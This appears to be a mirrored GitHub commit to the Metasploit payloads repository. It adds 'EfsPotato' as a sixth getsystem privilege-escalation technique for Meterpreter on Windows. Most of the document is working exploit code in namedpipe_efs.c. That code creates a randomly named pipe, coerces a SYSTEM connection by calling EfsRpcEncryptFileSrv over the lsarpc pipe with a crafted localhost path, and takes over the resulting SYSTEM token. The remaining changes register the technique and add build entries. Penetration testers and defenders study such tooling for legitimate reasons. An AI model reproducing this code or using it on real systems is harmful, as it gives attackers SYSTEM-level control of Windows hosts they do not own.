mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Land #577, Add 6th getsystem technique EfsPotato
This commit is contained in:
commit
20980dc9eb
9
c/meterpreter/source/extensions/priv/elevate.c
Normal file → Executable file
9
c/meterpreter/source/extensions/priv/elevate.c
Normal file → Executable file
@ -7,6 +7,7 @@
|
||||
#include "namedpipe.h"
|
||||
#include "namedpipe_rpcss.h"
|
||||
#include "namedpipe_printspooler.h"
|
||||
#include "namedpipe_efs.h"
|
||||
#include "tokendup.h"
|
||||
|
||||
/*!
|
||||
@ -124,6 +125,14 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
}
|
||||
}
|
||||
|
||||
if (dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_NAMEDPIPE_EFS) {
|
||||
dprintf("[ELEVATE] Attempting ELEVATE_TECHNIQUE_NAMEDPIPE_EFS (%u)", ELEVATE_TECHNIQUE_NAMEDPIPE_EFS);
|
||||
if ((dwResult = elevate_via_namedpipe_efs(remote, packet)) == ERROR_SUCCESS) {
|
||||
dwTechnique = ELEVATE_TECHNIQUE_NAMEDPIPE_EFS;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( response )
|
||||
|
1
c/meterpreter/source/extensions/priv/elevate.h
Normal file → Executable file
1
c/meterpreter/source/extensions/priv/elevate.h
Normal file → Executable file
@ -12,6 +12,7 @@
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS 4 ///< Identifier for the Named Pipe service technique (RPCSS variant)
|
||||
#define ELEVATE_TECHNIQUE_NAMEDPIPE_PRINTSPOOLER 5 ///< Identifier for the Named Pipe technique (PrintSpooler variant)
|
||||
#define ELEVATE_TECHNIQUE_NAMEDPIPE_EFS 6 ///< Identifier for the Named Pipe technique (EFSRPC variant - AKA EfsPotato)
|
||||
|
||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
|
||||
|
||||
|
195
c/meterpreter/source/extensions/priv/namedpipe_efs.c
Executable file
195
c/meterpreter/source/extensions/priv/namedpipe_efs.c
Executable file
@ -0,0 +1,195 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "namedpipe.h"
|
||||
|
||||
typedef NTSTATUS(WINAPI* PRtlGetVersion)(LPOSVERSIONINFOEXW);
|
||||
|
||||
RPC_STATUS EfsRpcEncryptFileSrv(handle_t binding_h, wchar_t* FileName);
|
||||
|
||||
DWORD WINAPI trigger_efs_connection(LPWSTR pPipeName);
|
||||
handle_t efs_bind(wchar_t* target);
|
||||
|
||||
const RPC_WSTR MS_EFSR_UUID = (RPC_WSTR)L"c681d488-d850-11d0-8c52-00c04fd90f7e";
|
||||
const RPC_WSTR LSARPC_NAMEDPIPE = (RPC_WSTR)L"\\pipe\\lsarpc";
|
||||
|
||||
DWORD elevate_via_namedpipe_efs(Remote* remote, Packet* packet)
|
||||
{
|
||||
HMODULE hNtdll = NULL;
|
||||
PRtlGetVersion pRtlGetVersion = NULL;
|
||||
OSVERSIONINFOEXW os = { 0 };
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
THREAD* pThread = NULL;
|
||||
HANDLE hSem = NULL;
|
||||
char cPipeName1[MAX_PATH] = { 0 };
|
||||
WCHAR cPipeName2[MAX_PATH] = { 0 };
|
||||
DWORD dwPipeUid[2] = { 0, 0 };
|
||||
PRIV_POST_IMPERSONATION PostImpersonation;
|
||||
|
||||
do {
|
||||
hNtdll = GetModuleHandleA("ntdll");
|
||||
if (hNtdll == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_namedpipe_efs: Failed to resolve RtlGetVersion");
|
||||
}
|
||||
|
||||
pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
|
||||
if (pRtlGetVersion == NULL) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_namedpipe_efs: Failed to resolve RtlGetVersion");
|
||||
}
|
||||
|
||||
if (pRtlGetVersion(&os)) {
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_namedpipe_efs: RtlGetVersion failed");
|
||||
}
|
||||
|
||||
// filter out systems older than Windows Vista / Server 2008 (6.0) for this technique
|
||||
if (os.dwMajorVersion < 6) {
|
||||
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_namedpipe_efs: Windows versions older than 6.0 are unsupported");
|
||||
}
|
||||
|
||||
// generate a pseudo random name for the pipe
|
||||
dwPipeUid[0] = ((rand() << 16) | rand());
|
||||
dwPipeUid[1] = ((rand() << 16) | rand());
|
||||
|
||||
_snprintf_s(cPipeName1, sizeof(cPipeName1), MAX_PATH, "\\\\.\\pipe\\%08x%08x\\pipe\\srvsvc", dwPipeUid[0], dwPipeUid[1]);
|
||||
_snwprintf_s(cPipeName2, sizeof(cPipeName2), MAX_PATH, L"%08x%08x", dwPipeUid[0], dwPipeUid[1]);
|
||||
|
||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||
PostImpersonation.pCallback = set_meterp_thread_use_current_token;
|
||||
PostImpersonation.pCallbackParam = remote;
|
||||
|
||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cPipeName1, hSem, &PostImpersonation);
|
||||
if (!pThread) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_namedpipe_efs: met_api->thread.create failed",
|
||||
ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
if (!met_api->thread.run(pThread)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_namedpipe_efs: met_api->thread.run failed",
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
|
||||
// wait for the thread to create the pipe, if it times out terminate
|
||||
if (hSem) {
|
||||
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_namedpipe_efs: WaitForSingleObject failed",
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
}
|
||||
else {
|
||||
Sleep(500);
|
||||
}
|
||||
|
||||
trigger_efs_connection(cPipeName2);
|
||||
|
||||
// signal our thread to terminate if it is still running
|
||||
met_api->thread.sigterm(pThread);
|
||||
|
||||
// and wait for it to terminate...
|
||||
met_api->thread.join(pThread);
|
||||
|
||||
// get the exit code for our pthread
|
||||
dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
|
||||
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_namedpipe_efs: GetExitCodeThread failed",
|
||||
ERROR_INVALID_HANDLE);
|
||||
}
|
||||
dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);
|
||||
|
||||
} while (0);
|
||||
|
||||
if (pThread) {
|
||||
met_api->thread.destroy(pThread);
|
||||
}
|
||||
if (hSem) {
|
||||
CloseHandle(hSem);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD WINAPI trigger_efs_connection(LPWSTR pPipeName)
|
||||
{
|
||||
RPC_STATUS hr = 0;
|
||||
LPWSTR pCaptureServer = NULL;
|
||||
handle_t ht = INVALID_HANDLE_VALUE;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
|
||||
do {
|
||||
pCaptureServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
|
||||
if (!pCaptureServer) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] trigger_efs_connection: Out of Memory", STATUS_NO_MEMORY);
|
||||
}
|
||||
|
||||
_snwprintf_s(pCaptureServer, MAX_PATH, _TRUNCATE, (LPWSTR)(L"\\\\localhost/pipe/%s/\\%s\\%s"), pPipeName, pPipeName, pPipeName);
|
||||
|
||||
RpcTryExcept
|
||||
ht = efs_bind(L"localhost");
|
||||
if (ht == INVALID_HANDLE_VALUE) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] trigger_efs_connection: Bind error", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
hr = EfsRpcEncryptFileSrv(ht, pCaptureServer);
|
||||
RpcExcept(EXCEPTION_EXECUTE_HANDLER)
|
||||
dprintf("[ELEVATE] trigger_efs_connection: RPC Error: 0x%08x", RpcExceptionCode());
|
||||
dwResult = RPC_S_CALL_FAILED;
|
||||
break;
|
||||
RpcEndExcept
|
||||
|
||||
if (hr == ERROR_BAD_NETPATH) {
|
||||
dprintf("[ELEVATE] trigger_efs_connection: Success");
|
||||
} else {
|
||||
dprintf("[ELEVATE] trigger_efs_connection: Did not receive expected output. Attack might have failed.");
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
if (ht != INVALID_HANDLE_VALUE) {
|
||||
RpcBindingFree(ht);
|
||||
}
|
||||
|
||||
if (pCaptureServer) {
|
||||
free(pCaptureServer);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
#define CHECK_RPC_STATUS_AND_RETURN(func, st) {\
|
||||
if (RpcStatus != RPC_S_OK) {\
|
||||
if (DceErrorInqTextA(RpcStatus, RpcError) == RPC_S_OK) {\
|
||||
dprintf("[ELEVATE] efs_bind - RPC error in %s: 0x%08x - %s", func, RpcStatus, RpcError);\
|
||||
} else {\
|
||||
dprintf("[ELEVATE] efs_bind - RPC error in %s: 0x%08x", func, RpcStatus);\
|
||||
}\
|
||||
return INVALID_HANDLE_VALUE;\
|
||||
}\
|
||||
}
|
||||
|
||||
handle_t efs_bind(wchar_t* target)
|
||||
{
|
||||
RPC_STATUS RpcStatus;
|
||||
unsigned char RpcError[DCE_C_ERROR_STRING_LEN];
|
||||
wchar_t buffer[MAX_PATH];
|
||||
RPC_WSTR StringBinding;
|
||||
handle_t BindingHandle;
|
||||
|
||||
_snwprintf_s(buffer, MAX_PATH, _TRUNCATE, L"\\\\%s", target);
|
||||
RpcStatus = RpcStringBindingComposeW(
|
||||
MS_EFSR_UUID,
|
||||
(RPC_WSTR)L"ncacn_np",
|
||||
(RPC_WSTR)buffer,
|
||||
LSARPC_NAMEDPIPE,
|
||||
NULL,
|
||||
&StringBinding);
|
||||
CHECK_RPC_STATUS_AND_RETURN("RpcStringBindingComposeW", RpcStatus);
|
||||
|
||||
RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
|
||||
CHECK_RPC_STATUS_AND_RETURN("RpcBindingFromStringBindingW", RpcStatus);
|
||||
|
||||
RpcStatus = RpcStringFreeW(&StringBinding);
|
||||
CHECK_RPC_STATUS_AND_RETURN("RpcStringFreeW", RpcStatus);
|
||||
|
||||
RpcStatus = RpcBindingSetAuthInfoW(BindingHandle, (RPC_WSTR)target, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, NULL, RPC_C_AUTHZ_NONE);
|
||||
CHECK_RPC_STATUS_AND_RETURN("RpcBindingSetAuthInfoW", RpcStatus);
|
||||
|
||||
return BindingHandle;
|
||||
}
|
7
c/meterpreter/source/extensions/priv/namedpipe_efs.h
Normal file
7
c/meterpreter/source/extensions/priv/namedpipe_efs.h
Normal file
@ -0,0 +1,7 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_EFS_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_EFS_H
|
||||
|
||||
DWORD elevate_via_namedpipe_efs(Remote* remote, Packet* packet);
|
||||
|
||||
#endif
|
||||
|
@ -55,6 +55,7 @@ file(GLOB SRC_FILES
|
||||
${SRC_DIR}/*.c
|
||||
${MOD_DEF_DIR}/extension.def
|
||||
../../source/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-rprn.c
|
||||
../../source/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-efsr_c.c
|
||||
)
|
||||
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
|
||||
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
|
||||
|
@ -521,11 +521,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-efsr.h" />
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-rprn.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\defs.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\elevate.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\fs.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\namedpipe.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\namedpipe_efs.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\namedpipe_printspooler.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\namedpipe_rpcss.h" />
|
||||
<ClInclude Include="..\..\source\extensions\priv\passwd.h" />
|
||||
@ -535,10 +537,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<ClInclude Include="..\..\source\extensions\priv\tokendup.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-efsr_c.c" />
|
||||
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\rpc\kull_m_rpc_ms-rprn.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\elevate.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\fs.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\namedpipe.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\namedpipe_efs.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\namedpipe_printspooler.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\namedpipe_rpcss.c" />
|
||||
<ClCompile Include="..\..\source\extensions\priv\passwd.c" />
|
||||
|
Loading…
Reference in New Issue
Block a user